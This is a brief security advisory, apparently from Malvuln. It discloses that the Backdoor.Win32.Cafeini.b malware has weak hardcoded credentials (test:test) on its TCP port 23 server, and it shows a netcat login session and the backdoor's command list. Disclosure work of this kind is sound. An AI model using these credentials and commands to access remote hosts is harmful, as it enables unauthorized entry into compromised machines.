Backdoor.Win32.Cafeini.b malware suffers from a hardcoded credential vulnerability.
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/851f8945d1b5923990f4722d627156a0.txt
Contact: [email protected]
Vulnerability: Weak Hardcoded Credentials
Description: The malware listens on TCP port 23. Authentication is required, however the credentials test:test are weak and hardcoded within the PE file.
Vuln ID: MVID-2022-0568
C:>nc64.exe x.x.x.x 23
220 CAFEiNi 1.1 FTP server
331 enter your password (PASS)
230 you're logged in, have a fun
215 WIN32 L 8 (CAFEiNi 1.1 FTP server)
500 unknown command "pasv"
214-CAFEiNi 1.1 FTP server supported commands:
ABOR CDUP CWD DELE HELP LIST MKD MODE NOOP PASS
PWD QUIT RETR RMD RNFR RNTO STOR SYST TYPE USER
214 and you don't need more commands, I think
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